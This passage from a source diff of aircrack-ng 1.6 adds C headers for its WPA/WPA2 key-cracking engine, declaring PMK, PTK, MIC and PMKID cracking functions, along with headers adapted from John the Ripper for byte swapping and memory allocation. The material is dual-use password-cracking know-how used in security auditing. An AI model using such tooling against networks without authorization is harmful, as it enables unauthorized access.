+ * CPUs, as well as slight speedup on some other CPUs.  Unfortunately, it
+ * results in lower cumulative performance with multiple concurrent threads or
+ * processes on some newer SMT-capable CPUs.  While this has nothing to do with
+ * AVX per se, building for AVX implies we do not intend to run on a Core 2
+ * (which has at most SSE4.1), so checking for AVX here provides an easy way to
+ * avoid this performance regression in AVX-enabled builds.  In multi-binary
+ * packages with runtime fallbacks, the AVX-enabled binary would invoke a
+ * non-AVX fallback binary from its john.c if run e.g. on a Core 2.  We could
+ * check for SSE4.2 rather than AVX here, as SSE4.2 was introduced along with
+ * SMT-capable Nehalem microarchitecture CPUs, but apparently those CPUs did
+ * not yet exhibit the performance regression with 3x interleaving.  Besides,
+ * some newer CPUs capable of SSE4.2 but not AVX happen to lack SMT, so will
+ * likely benefit from the 3x interleaving with no adverse effects for the
+ * multi-threaded case.
+ *
+ * In Jumbo, we may get BF_X2 from autoconf (after testing ht cpuid flag).
+ */
+#ifndef BF_X2
+#if __AVX__ && HAVE_HT && _OPENMP
+#define BF_X2 1
+#else
+#define BF_X2 3
+#endif
+#endif
+
+#endif

aircrack-ng-1.6.tar.gz/include/aircrack-ng/ce-wpa/crypto_engine.h Added

@@ -0,0 +1,277 @@
+/*
+ * Copyright (C) 2018-2020 Joseph Benden <joe@benden.us>
+ *
+ * This program is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU General Public License as
+ * published by the Free Software Foundation; either version 2 of the
+ * License, or (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful, but
+ * is provided AS IS, WITHOUT ANY WARRANTY; without even the implied
+ * warranty of MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, and
+ * NON-INFRINGEMENT.  See the GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program; if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston,
+ * MA 02110-1301, USA.
+ *
+ * In addition, as a special exception, the copyright holders give
+ * permission to link the code of portions of this program with the
+ * OpenSSL library under certain conditions as described in each
+ * individual source file, and distribute linked combinations
+ * including the two.
+ * You must obey the GNU General Public License in all respects
+ * for all of the code used other than OpenSSL.  If you modify
+ * file(s) with this exception, you may extend this exception to your
+ * version of the file(s), but you are not obligated to do so.  If you
+ * do not wish to do so, delete this exception statement from your
+ * version.  If you delete this exception statement from all source
+ * files in the program, then also delete it here.
+ */
+
+#ifndef AIRCRACK_NG_CRYPTO_ENGINE_H
+#define AIRCRACK_NG_CRYPTO_ENGINE_H
+
+#include <string.h>
+#include <stdint.h>
+#include <stddef.h>
+
+#include <aircrack-ng/defs.h>
+
+#define MAX_THREADS 256
+
+#if defined(_MSC_VER)
+//  Microsoft
+#define EXPORT __declspec(dllexport)
+#define IMPORT __declspec(dllimport)
+#elif defined(__GNUC__) || defined(__llvm__) || defined(__clang__)             \
+	|| defined(__INTEL_COMPILER)
+#define EXPORT __attribute__((visibility("default")))
+#define IMPORT
+#else
+//  do nothing and hope for the best?
+#define EXPORT
+#define IMPORT
+#pragma warning Unknown dynamic link import / export semantics.
+#endif
+
+#ifdef __cplusplus
+extern "C" {
+#endif
+
+#define ESSID_LENGTH 32 /* The spec. says 32 maximum. */
+#define PLAINTEXT_LENGTH 63 /* We can do 64 but spec. says 63 */
+
+#define MIN_KEYS_PER_CRYPT 1
+#if defined(JOHN_AVX512F)
+#define MAX_KEYS_PER_CRYPT 16
+#elif defined(JOHN_AVX2)
+#define MAX_KEYS_PER_CRYPT 8
+#else
+#define MAX_KEYS_PER_CRYPT 4
+#endif
+
+#if defined(AVX512F_FOUND)
+#if defined(__INTEL_COMPILER)
+#define MAX_KEYS_PER_CRYPT_SUPPORTED 32
+#else
+#define MAX_KEYS_PER_CRYPT_SUPPORTED 16
+#endif
+#else
+#if defined(__INTEL_COMPILER)
+#define MAX_KEYS_PER_CRYPT_SUPPORTED 16
+#else
+#define MAX_KEYS_PER_CRYPT_SUPPORTED 8
+#endif
+#endif
+
+typedef struct
+{
+	uint8_t v[PLAINTEXT_LENGTH + 1];
+	uint32_t length;
+} wpapsk_password;
+
+typedef struct
+{
+	union {
+		uint32_t v[8];
+		uint8_t c[32];
+	};
+} wpapsk_hash;
+
+#ifndef CACHELINE_SIZE
+#define CACHELINE_SIZE 64 // CPU L1 cache-line size, in bytes.
+#endif
+
+#define CACHELINE_PADDED_FIELD(T, name, length, cacheline_size)                \
+	T name[(length)];                                                          \
+	uint8_t name##_padding[(cacheline_size)                                    \
+						   - ((length * sizeof(T)) % (cacheline_size))]
+
+#pragma pack(push, 1)
+/// Per-thread data needed by the crypto cracking engine.
+struct ac_crypto_engine_perthread
+{
+	/// Holds the pair-wise master key.
+	CACHELINE_PADDED_FIELD(wpapsk_hash,
+						   pmk,
+						   MAX_KEYS_PER_CRYPT_SUPPORTED,
+						   CACHELINE_SIZE);
+
+	/// Holds a 64-byte buffer for HMAC SHA1 ipad/opad, plus an extra 20-byte
+	/// buffer for a SHA1 digest.
+	CACHELINE_PADDED_FIELD(uint8_t,
+						   hash1,
+						   (64 + 20) * MAX_KEYS_PER_CRYPT_SUPPORTED,
+						   CACHELINE_SIZE);
+
+#ifndef AVX512F_FOUND
+#define CRYPT_PADDING CACHELINE_SIZE / 2
+#else
+#define CRYPT_PADDING CACHELINE_SIZE
+#endif
+	/// Holds a 20-byte buffer for a SHA1 digest. Half cache-line size is to
+	/// compact with the next.
+	CACHELINE_PADDED_FIELD(uint8_t,
+						   crypt1,
+						   20 * MAX_KEYS_PER_CRYPT_SUPPORTED,
+						   CRYPT_PADDING);
+
+	/// Holds a 20-byte buffer for a SHA1 digest. Half cache-line size is to
+	/// compact with the previous.
+	CACHELINE_PADDED_FIELD(uint8_t,
+						   crypt2,
+						   20 * MAX_KEYS_PER_CRYPT_SUPPORTED,
+						   CRYPT_PADDING);
+#undef CRYPT_PADDING
+
+	/// Holds a 20-byte buffer for a SHA1 digest. Double cache-line size is to
+	/// space the next field futher out.
+	CACHELINE_PADDED_FIELD(uint8_t,
+						   ptk,
+						   20 * MAX_KEYS_PER_CRYPT_SUPPORTED,
+						   CACHELINE_SIZE * 2);
+
+	/// Holds a 100-byte buffer for pair-wise key expansion.
+	CACHELINE_PADDED_FIELD(uint8_t,
+						   pke,
+						   100 * MAX_KEYS_PER_CRYPT_SUPPORTED,
+						   CACHELINE_SIZE);
+};
+#pragma pack(pop)
+COMPILE_TIME_ASSERT((offsetof(struct ac_crypto_engine_perthread, pmk)) == 0);
+COMPILE_TIME_ASSERT((offsetof(struct ac_crypto_engine_perthread, hash1)
+					 % CACHELINE_SIZE)
+					== 0);
+COMPILE_TIME_ASSERT((offsetof(struct ac_crypto_engine_perthread, crypt1)
+					 % CACHELINE_SIZE)
+					== 0);
+COMPILE_TIME_ASSERT((offsetof(struct ac_crypto_engine_perthread, crypt2)
+					 % (CACHELINE_SIZE / 2))
+					== 0);
+COMPILE_TIME_ASSERT((offsetof(struct ac_crypto_engine_perthread, ptk)
+					 % CACHELINE_SIZE)
+					== 0);
+COMPILE_TIME_ASSERT((offsetof(struct ac_crypto_engine_perthread, pke)
+					 % CACHELINE_SIZE)
+					== 0);
+
+struct ac_crypto_engine
+{
+	uint8_t ** essid;
+	uint32_t essid_length;
+
+	struct ac_crypto_engine_perthread * thread_data[MAX_THREADS];
+};
+
+typedef struct ac_crypto_engine ac_crypto_engine_t;
+
+/// The compiled-in features required to correctly execute on host.
+IMPORT int ac_crypto_engine_supported_features(void);
+
+/// global init. this could initialize threadid 1, but...
+IMPORT int ac_crypto_engine_init(ac_crypto_engine_t * engine);
+IMPORT void ac_crypto_engine_destroy(ac_crypto_engine_t * engine);
+
+IMPORT void ac_crypto_engine_set_essid(ac_crypto_engine_t * engine,
+									   const uint8_t * essid);
+
+IMPORT uint8_t *
+ac_crypto_engine_get_pmk(ac_crypto_engine_t * engine, int threadid, int index);
+
+IMPORT uint8_t *
+ac_crypto_engine_get_ptk(ac_crypto_engine_t * engine, int threadid, int index);
+
+IMPORT void ac_crypto_engine_calc_pke(ac_crypto_engine_t * engine,
+									  const uint8_t bssid[6],
+									  const uint8_t stmac[6],
+									  const uint8_t anonce[32],
+									  const uint8_t snonce[32],
+									  int threadid);
+
+IMPORT void ac_crypto_engine_set_pmkid_salt(ac_crypto_engine_t * engine,
+											const uint8_t bssid[6],
+											const uint8_t stmac[6],
+											int threadid);
+
+/// per-thread-in-use init. separate to allow (possible) NUMA-local allocation.
+IMPORT int ac_crypto_engine_thread_init(ac_crypto_engine_t * engine,
+										int threadid);
+IMPORT void ac_crypto_engine_thread_destroy(ac_crypto_engine_t * engine,
+											int threadid);
+
+/// acquire the width of simd we're compiled for.
+IMPORT int ac_crypto_engine_simd_width(void);
+
+IMPORT void ac_crypto_engine_calc_pmk(
+	ac_crypto_engine_t * engine,
+	const wpapsk_password key[MAX_KEYS_PER_CRYPT_SUPPORTED],
+	int nparallel,
+	int threadid);
+
+IMPORT void ac_crypto_engine_calc_ptk(ac_crypto_engine_t * engine,
+									  const uint8_t keyver,
+									  int vectorIdx,
+									  int threadid);
+
+IMPORT void ac_crypto_engine_calc_mic(ac_crypto_engine_t * engine,
+									  const uint8_t eapol[256],
+									  uint32_t eapol_size,
+									  uint8_t mic[MAX_KEYS_PER_CRYPT_SUPPORTED]
+												 [20],
+									  uint8_t keyver,
+									  int vectorIdx,
+									  int threadid);
+
+IMPORT int ac_crypto_engine_wpa_crack(
+	ac_crypto_engine_t * engine,
+	const wpapsk_password key[MAX_KEYS_PER_CRYPT_SUPPORTED],
+	const uint8_t eapol[256],
+	uint32_t eapol_size,
+	uint8_t mic[MAX_KEYS_PER_CRYPT_SUPPORTED][20],
+	uint8_t keyver,
+	const uint8_t cmpmic[20],
+	int nparallel,
+	int threadid);
+
+IMPORT int ac_crypto_engine_wpa_pmkid_crack(
+	ac_crypto_engine_t * engine,
+	const wpapsk_password key[MAX_KEYS_PER_CRYPT_SUPPORTED],
+	const uint8_t pmkid[32],
+	int nparallel,
+	int threadid);
+
+// Quick Utilities.
+
+/// Calculate one pairwise master key, from the \a essid and \a key.
+IMPORT void ac_crypto_engine_calc_one_pmk(const uint8_t * key,
+										  const uint8_t * essid,
+										  uint32_t essid_length,
+										  uint8_t pmk[40]);
+
+#ifdef __cplusplus
+}
+#endif
+
+#endif // AIRCRACK_NG_CRYPTO_ENGINE_H

aircrack-ng-1.6.tar.gz/include/aircrack-ng/ce-wpa/jcommon.h Added

@@ -0,0 +1,121 @@
+/*
+ * Based on John the Ripper and modified to integrate with aircrack
+ *
+ * 	John the Ripper copyright and license.
+ *
+ * John the Ripper password cracker,
+ * Copyright (c) 1996-2013 by Solar Designer.
+ *
+ * This program is free software; you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation; either version 2 of the License, or
+ * (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * As a special exception to the GNU General Public License terms,
+ * permission is hereby granted to link the code of this program, with or
+ * without modification, with any version of the OpenSSL library and/or any
+ * version of unRAR, and to distribute such linked combinations.  You must
+ * obey the GNU GPL in all respects for all of the code used other than
+ * OpenSSL and unRAR.  If you modify this program, you may extend this
+ * exception to your version of the program, but you are not obligated to
+ * do so.  (In other words, you may release your derived work under pure
+ * GNU GPL version 2 or later as published by the FSF.)
+ *
+ * (This exception from the GNU GPL is not required for the core tree of
+ * John the Ripper, but arguably it is required for -jumbo.)
+ *
+ * 	Relaxed terms for certain components.
+ *
+ * In addition or alternatively to the license above, many components are
+ * available to you under more relaxed terms (most commonly under cut-down
+ * BSD license) as specified in the corresponding source files.
+ *
+ * For more information on John the Ripper licensing please visit:
+ *
+ * http://www.openwall.com/john/doc/LICENSE.shtml
+ *
+ * This file is part of John the Ripper password cracker,
+ * Copyright (c) 1996-99,2005,2009,2011,2013 by Solar Designer
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted.
+ *
+ * There's ABSOLUTELY NO WARRANTY, express or implied.
+ */
+
+/*
+ * Things common to many ciphertext formats.
+ */
+
+#ifndef _JCOMMON_H
+#define _JCOMMON_H
+
+#include <aircrack-ng/ce-wpa/arch.h>
+#include <aircrack-ng/ce-wpa/memory.h>
+
+#if ARCH_INT_GT_32
+typedef unsigned short ARCH_WORD_32;
+typedef unsigned int ARCH_WORD_64;
+#else
+typedef unsigned int ARCH_WORD_32;
+typedef unsigned long long ARCH_WORD_64;
+#endif
+
+/* ONLY use this to check alignments of even power of 2 (2, 4, 8, 16, etc) byte
+   counts (CNT).
+   The cast to void* MUST be done, due to C spec.
+   http://stackoverflow.com/a/1898487 */
+#define is_aligned(PTR, CNT)                                                   \
+	((((ARCH_WORD)(const void *) (PTR)) & (CNT - 1)) == 0)
+
+#ifdef __GNUC__
+#if __GNUC__ > 4 || (__GNUC__ == 4 && __GNUC_MINOR__ >= 7)                     \
+	|| defined(__INTEL_COMPILER)
+#define MAYBE_INLINE __attribute__((always_inline)) inline
+#elif __GNUC__ > 3 || (__GNUC__ == 3 && __GNUC_MINOR__ >= 1)
+#define MAYBE_INLINE __attribute__((always_inline))
+#else
+#define MAYBE_INLINE __inline__
+#endif
+#elif __STDC_VERSION__ >= 199901L
+#define MAYBE_INLINE inline
+#else
+#define MAYBE_INLINE
+#endif
+
+#if ((__GNUC__ == 2) && (__GNUC_MINOR__ >= 7)) || (__GNUC__ > 2)
+#define CC_CACHE_ALIGN __attribute__((aligned(MEM_ALIGN_CACHE)))
+#else
+#define CC_CACHE_ALIGN /* nothing */
+#endif
+
+/*
+ * This "shift" is the number of bytes that may be inserted between arrays the
+ * size of which would be a multiple of cache line size (some power of two) and
+ * that might be accessed simultaneously.  The purpose of the shift is to avoid
+ * cache bank conflicts with such accesses, actually allowing them to proceed
+ * simultaneously.  This number should be a multiple of the machine's word size
+ * but smaller than cache line size.
+ */
+#define CACHE_BANK_SHIFT ARCH_SIZE
+
+/*
+ * ASCII <-> binary conversion tables.
+ */
+// extern const char itoa64[64]; /* crypt(3) base64 - not MIME Base64! */
+extern char atoi64[0x100];
+extern const char itoa16[16];
+extern char atoi16[0x100];
+extern const char itoa16u[16]; // uppercase
+
+/*
+ * Initializes the tables.
+ */
+extern void common_init(void);
+
+#endif

aircrack-ng-1.6.tar.gz/include/aircrack-ng/ce-wpa/johnswap.h Added

@@ -0,0 +1,137 @@
+/*
+ * Based on John the Ripper and modified to integrate with aircrack
+ *
+ * 	John the Ripper copyright and license.
+ *
+ * John the Ripper password cracker,
+ * Copyright (c) 1996-2013 by Solar Designer.
+ *
+ * This program is free software; you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation; either version 2 of the License, or
+ * (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * As a special exception to the GNU General Public License terms,
+ * permission is hereby granted to link the code of this program, with or
+ * without modification, with any version of the OpenSSL library and/or any
+ * version of unRAR, and to distribute such linked combinations.  You must
+ * obey the GNU GPL in all respects for all of the code used other than
+ * OpenSSL and unRAR.  If you modify this program, you may extend this
+ * exception to your version of the program, but you are not obligated to
+ * do so.  (In other words, you may release your derived work under pure
+ * GNU GPL version 2 or later as published by the FSF.)
+ *
+ * (This exception from the GNU GPL is not required for the core tree of
+ * John the Ripper, but arguably it is required for -jumbo.)
+ *
+ * 	Relaxed terms for certain components.
+ *
+ * In addition or alternatively to the license above, many components are
+ * available to you under more relaxed terms (most commonly under cut-down
+ * BSD license) as specified in the corresponding source files.
+ *
+ * For more information on John the Ripper licensing please visit:
+ *
+ * http://www.openwall.com/john/doc/LICENSE.shtml
+ *
+ */
+#if !defined __JOHN_SWAP_H__
+#define __JOHN_SWAP_H__
+
+/* reqired for the john_bswap_32 ARCH_WORD_32 declaration */
+#include <aircrack-ng/ce-wpa/jcommon.h>
+
+/* if x86 compatible cpu */
+#if defined(i386) || defined(__i386__) || defined(__i486__)                    \
+	|| defined(__i586__) || defined(__i686__) || defined(__pentium__)          \
+	|| defined(__pentiumpro__) || defined(__pentium4__) || defined(__nocona__) \
+	|| defined(prescott) || defined(__core2__) || defined(__k6__)              \
+	|| defined(__k8__) || defined(__athlon__) || defined(__amd64)              \
+	|| defined(__amd64__) || defined(__x86_64) || defined(__x86_64__)          \
+	|| defined(_M_IX86) || defined(_M_AMD64) || defined(_M_IA64)               \
+	|| defined(_M_X64)
+/* detect if x86-64 instruction set is supported */
+#if defined(_LP64) || defined(__LP64__) || defined(__x86_64)                   \
+	|| defined(__x86_64__) || defined(_M_AMD64) || defined(_M_X64)
+#undef CPU_X64
+#define CPU_X64 1
+#else
+#undef CPU_IA32
+#define CPU_IA32 1
+#endif
+#undef CPU_INTEL_LE
+#define CPU_INTEL_LE 1
+#endif
+
+#if defined __GNUC__                                                           \
+	&& ((__GNUC__ == 4 && __GNUC_MINOR__ >= 3) || (__GNUC__ > 4))
+#define JOHNSWAP(x) __builtin_bswap32((x))
+#define JOHNSWAP64(x) __builtin_bswap64((x))
+#elif defined(__linux__)
+#include <byteswap.h>
+#define JOHNSWAP(x) bswap_32((x))
+#define JOHNSWAP64(x) bswap_64((x))
+#elif (_MSC_VER > 1300)                                                        \
+	&& (_M_IX86 >= 400 || defined(CPU_IA32) || defined(CPU_X64)) /* MS VC */
+#define JOHNSWAP(x) _byteswap_ulong((x))
+#define JOHNSWAP64(x) _byteswap_uint64(((unsigned __int64) x))
+#elif !defined(__STRICT_ANSI__)
+#define JOHNSWAP(x) john_bswap_32((x))
+#define JOHNSWAP64(x) john_bswap_64((x))
+#define ROTATE_LEFT(x, n)                                                      \
+	(x) = (((x) << (n)) | ((ARCH_WORD_32)(x) >> (32 - (n))))
+#define ROTATE_LEFT64(x, n)                                                    \
+	(x) = (((x) << (n)) | ((unsigned long long) (x) >> (64 - (n))))
+#if defined(__GNUC__) && defined(CPU_IA32) && !defined(__i386__)
+/* for intel x86 CPU */
+static inline ARCH_WORD_32 __attribute__((const))
+john_bswap_32(ARCH_WORD_32 val)
+{
+	register ARCH_WORD_32 res;
+	__asm("bswap\t%0" : "=r"(res) : "0"(val));
+	return res;
+}
+#else
+/* Note, the name bswap_32 clashed with a less efficient bswap_32 in gcc 3.4. */
+/* Thus, we now call it john_bswap_32 to take 'ownership' */
+static inline ARCH_WORD_32 john_bswap_32(ARCH_WORD_32 x)
+{
+	/* Since this is an inline function, we do not have to worry about */
+	/* multiple reference of x.  Even though we are called from a macro */
+	/* this inline hides problems even with usage like  n=SWAP(*cp++); */
+	ROTATE_LEFT(x, 16);
+	return ((x & 0x00FF00FF) << 8) | ((x >> 8) & 0x00FF00FF);
+}
+#endif
+static inline unsigned long long john_bswap_64(unsigned long long x)
+{
+#if ARCH_BITS == 32
+	union {
+		unsigned long long ll;
+		ARCH_WORD_32 l[2];
+	} w, r;
+	w.ll = x;
+	r.l[0] = john_bswap_32(w.l[1]);
+	r.l[1] = john_bswap_32(w.l[0]);
+	return r.ll;
+#else
+	// Someone should write a 'proper' 64 bit bswap, for 64 bit arch
+	// for now, I am using the '32 bit' version I wrote above.
+	union {
+		unsigned long long ll;
+		ARCH_WORD_32 l[2];
+	} w, r;
+	w.ll = x;
+	r.l[0] = john_bswap_32(w.l[1]);
+	r.l[1] = john_bswap_32(w.l[0]);
+	return r.ll;
+#endif
+}
+#endif
+
+#endif // __JOHN_SWAP_H__

aircrack-ng-1.6.tar.gz/include/aircrack-ng/ce-wpa/memdbg.h Changed

aircrack-ng-1.6.tar.gz/include/aircrack-ng/ce-wpa/memory.h Added

@@ -0,0 +1,464 @@
+/*
+ * Based on John the Ripper and modified to integrate with aircrack
+ *
+ * 	John the Ripper copyright and license.
+ *
+ * John the Ripper password cracker,
+ * Copyright (c) 1996-2013 by Solar Designer.
+ *
+ * This program is free software; you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation; either version 2 of the License, or
+ * (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * As a special exception to the GNU General Public License terms,
+ * permission is hereby granted to link the code of this program, with or
+ * without modification, with any version of the OpenSSL library and/or any
+ * version of unRAR, and to distribute such linked combinations.  You must
+ * obey the GNU GPL in all respects for all of the code used other than
+ * OpenSSL and unRAR.  If you modify this program, you may extend this
+ * exception to your version of the program, but you are not obligated to
+ * do so.  (In other words, you may release your derived work under pure
+ * GNU GPL version 2 or later as published by the FSF.)
+ *
+ * (This exception from the GNU GPL is not required for the core tree of
+ * John the Ripper, but arguably it is required for -jumbo.)
+ *
+ * 	Relaxed terms for certain components.
+ *
+ * In addition or alternatively to the license above, many components are
+ * available to you under more relaxed terms (most commonly under cut-down
+ * BSD license) as specified in the corresponding source files.
+ *
+ * For more information on John the Ripper licensing please visit:
+ *
+ * http://www.openwall.com/john/doc/LICENSE.shtml
+ *
+ * This file is part of John the Ripper password cracker,
+ * Copyright (c) 1996-98,2003,2010-2012 by Solar Designer
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted.
+ *
+ * There's ABSOLUTELY NO WARRANTY, express or implied.
+ */
+
+/*
+ * Memory allocation routines.
+ */
+
+#ifndef _MEMORY_H
+#define _MEMORY_H
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+
+#include <aircrack-ng/ce-wpa/arch.h>
+
+#if __AVX512F__
+#define SIMD_COEF_32 16
+#define SIMD_COEF_64 8
+#elif __AVX2__
+#define SIMD_COEF_32 8
+#define SIMD_COEF_64 4
+#elif __SSE2__
+#define SIMD_COEF_32 4
+#define SIMD_COEF_64 2
+#endif
+
+/*
+ * Standard alignments for mem_alloc_tiny().
+ */
+#define MEM_ALIGN_NONE 1
+#define MEM_ALIGN_WORD ARCH_SIZE
+/*
+ * These are hopefully suitable guesses.  They are right for only a subset of
+ * the architectures/CPUs we support, yet our use of them does not require that
+ * they be entirely correct.
+ */
+#ifdef _MSC_VER
+#define MEM_ALIGN_CACHE 64
+#else
+#define MEM_ALIGN_CACHE (ARCH_SIZE * 8)
+#endif
+#define MEM_ALIGN_PAGE 0x1000
+
+/*
+ * SIMD buffers need to be aligned to register size
+ */
+#if SIMD_COEF_32
+#ifdef _MSC_VER
+#define MEM_ALIGN_SIMD 16
+#else
+#define MEM_ALIGN_SIMD (SIMD_COEF_32 * 4)
+#endif
+#else
+#define MEM_ALIGN_SIMD (16)
+#endif
+
+/*
+ * Block size used by mem_alloc_tiny().
+ */
+#define MEM_ALLOC_SIZE 0x10000
+
+/*
+ * Use mem_alloc() instead of allocating a new block in mem_alloc_tiny()
+ * if more than MEM_ALLOC_MAX_WASTE bytes would be lost.
+ * This shouldn't be set too small, or mem_alloc_tiny() will keep calling
+ * mem_alloc() for many allocations in a row, which might end up wasting even
+ * more memory to malloc() overhead.
+ */
+#define MEM_ALLOC_MAX_WASTE 0xff
+
+/*
+ * Memory saving level, setting this high enough disables alignments (if the
+ * architecture allows).
+ */
+extern unsigned int mem_saving_level;
+
+/*
+ * Allocates size bytes and returns a pointer to the allocated memory.
+ * If an error occurs, the function does not return.
+ */
+extern void * mem_alloc_func(size_t size
+#if defined(MEMDBG_ON)
+							 ,
+							 char * file,
+							 int line
+#endif
+							 );
+/*
+ * this version same as mem_alloc, but initialized the memory
+ * to NULL bytes, like CALLOC(3) function does
+ */
+extern void * mem_calloc_func(size_t count,
+							  size_t size
+#if defined(MEMDBG_ON)
+							  ,
+							  char * file,
+							  int line
+#endif
+							  );
+
+#if defined(MEMDBG_ON)
+#define mem_alloc(a) mem_alloc_func(a, __FILE__, __LINE__)
+#define mem_calloc(a, b) mem_calloc_func(a, b, __FILE__, __LINE__)
+#define mem_alloc_tiny(a, b) mem_alloc_tiny_func(a, b, __FILE__, __LINE__)
+#define mem_calloc_tiny(a, b) mem_calloc_tiny_func(a, b, __FILE__, __LINE__)
+#define mem_alloc_copy(a, b, c) mem_alloc_copy_func(a, b, c, __FILE__, __LINE__)
+#define str_alloc_copy(a) str_alloc_copy_func(a, __FILE__, __LINE__)
+#define mem_alloc_align(a, b) mem_alloc_align_func(a, b, __FILE__, __LINE__)
+#define mem_calloc_align(a, b, c)                                              \
+	mem_calloc_align_func(a, b, c, __FILE__, __LINE__)
+#else
+#define mem_alloc(a) mem_alloc_func(a)
+#define mem_calloc(a, b) mem_calloc_func(a, b)
+#define mem_alloc_tiny(a, b) mem_alloc_tiny_func(a, b)
+#define mem_calloc_tiny(a, b) mem_calloc_tiny_func(a, b)
+#define mem_alloc_copy(a, b, c) mem_alloc_copy_func(a, b, c)
+#define str_alloc_copy(a) str_alloc_copy_func(a)
+#define mem_alloc_align(a, b) mem_alloc_align_func(a, b)
+#define mem_calloc_align(a, b, c) mem_calloc_align_func(a, b, c)
+#endif
+
+/* These allow alignment and are wrappers to system-specific functions */
+void * mem_alloc_align_func(size_t size,
+							size_t align
+#if defined(MEMDBG_ON)
+							,
+							char * file,
+							int line
+#endif
+							);
+
+void * mem_calloc_align_func(size_t count,
+							 size_t size,
+							 size_t align
+#if defined(MEMDBG_ON)
+							 ,
+							 char * file,
+							 int line
+#endif
+							 );
+
+/*
+ * Frees memory allocated with mem_alloc() and sets the pointer to NULL.
+ * Does nothing if the pointer is already NULL.
+ */
+#undef MEM_FREE
+
+#ifdef _MSC_VER
+#if !defined(MEMDBG_ON)
+#define strdup(a) strdup_MSVC(a)
+char * strdup_MSVC(const char * str);
+#define MEM_FREE(ptr)                                                          \
+	{                                                                          \
+		if ((ptr))                                                             \
+		{                                                                      \
+			_aligned_free((ptr));                                              \
+			(ptr) = NULL;                                                      \
+		}                                                                      \
+	}
+#else
+#define MEM_FREE(ptr)                                                          \
+	{                                                                          \
+		if ((ptr))                                                             \
+		{                                                                      \
+			MEMDBG_free(((const void *) ptr), __FILE__, __LINE__);             \
+			(ptr) = NULL;                                                      \
+		}                                                                      \
+	}
+#endif
+
+#else
+#define MEM_FREE(ptr)                                                          \
+	{                                                                          \
+		if ((ptr))                                                             \
+		{                                                                      \
+			free((ptr));                                                       \
+			(ptr) = NULL;                                                      \
+		}                                                                      \
+	}
+#endif
+
+/*
+ * Similar to the above function, except the memory can't be freed.
+ * This one is used to reduce the overhead.
+ */
+extern void * mem_alloc_tiny_func(size_t size,
+								  size_t align
+#if defined(MEMDBG_ON)
+								  ,
+								  char * file,
+								  int line
+#endif
+								  );
+
+/*
+ * this version same as mem_alloc_tiny, but initialized the memory
+ * to NULL bytes, like CALLOC(3) function does
+ */
+extern void * mem_calloc_tiny_func(size_t size,
+								   size_t align
+#if defined(MEMDBG_ON)
+								   ,
+								   char * file,
+								   int line
+#endif
+								   );
+
+/*
+ * Uses mem_alloc_tiny() to allocate the memory, and copies src in there.
+ */
+extern void * mem_alloc_copy_func(void * src,
+								  size_t size,
+								  size_t align
+#if defined(MEMDBG_ON)
+								  ,
+								  char * file,
+								  int line
+#endif
+								  );
+
+/*
+ * Similar to the above function, but for ASCIIZ strings.
+ */
+extern char * str_alloc_copy_func(char * src
+#if defined(MEMDBG_ON)
+								  ,
+								  char * file,
+								  int line
+#endif
+								  );
+
+/*
+ * This will 'cleanup' the memory allocated by mem_alloc_tiny().  All
+ * of that memory was 'blindly' allocated, and not freed up during
+ * the run of john.  Now, it is 'cleaned' up.
+ */
+extern void cleanup_tiny_memory(void);
+
+void dump_text(void * in, int len);
+void dump_stuff(void * x, unsigned int size);
+void dump_stuff_msg(const void * msg, void * x, unsigned int size);
+void dump_stuff_noeol(void * x, unsigned int size);
+void dump_stuff_msg_sepline(const void * msg, void * x, unsigned int size);
+void dump_stuff_be(void * x, unsigned int size);
+void dump_stuff_be_msg(const void * msg, void * x, unsigned int size);
+void dump_stuff_be_noeol(void * x, unsigned int size);
+void dump_stuff_be_msg_sepline(const void * msg, void * x, unsigned int size);
+
+#if defined(SIMD_COEF_32) || defined(NT_X86_64) || defined(SIMD_PARA_MD5)      \
+	|| defined(SIMD_PARA_MD4) || defined(SIMD_PARA_SHA1)
+void dump_stuff_mmx(void * x, unsigned int size, unsigned int index);
+void dump_stuff_mmx_noeol(void * x, unsigned int size, unsigned int index);
+void dump_stuff_mmx_msg(const void * msg,
+						void * buf,
+						unsigned int size,
+						unsigned int index);
+void dump_stuff_mmx_msg_sepline(const void * msg,
+								void * buf,
+								unsigned int size,
+								unsigned int index);
+// for flat input, we do want to see SHA512 without byte swapping.
+void dump_stuff_mmx64(void * buf, unsigned int size, unsigned int index);
+void dump_stuff_mmx64_msg(const void * msg,
+						  void * buf,
+						  unsigned int size,
+						  unsigned int index);
+void dump_out_mmx(void * x, unsigned int size, unsigned int index);
+void dump_out_mmx_noeol(void * x, unsigned int size, unsigned int index);
+void dump_out_mmx_msg(const void * msg,
+					  void * buf,
+					  unsigned int size,
+					  unsigned int index);
+void dump_out_mmx_msg_sepline(const void * msg,
+							  void * buf,
+							  unsigned int size,
+							  unsigned int index);
+void dump_stuff_shammx(void * x, unsigned int size, unsigned int index);
+void dump_stuff_shammx_msg(const void * msg,
+						   void * buf,
+						   unsigned int size,
+						   unsigned int index);
+void dump_out_shammx(void * x, unsigned int size, unsigned int index);
+void dump_out_shammx_msg(const void * msg,
+						 void * buf,
+						 unsigned int size,
+						 unsigned int index);
+void dump_stuff_shammx64(void * x, unsigned int size, unsigned int index);
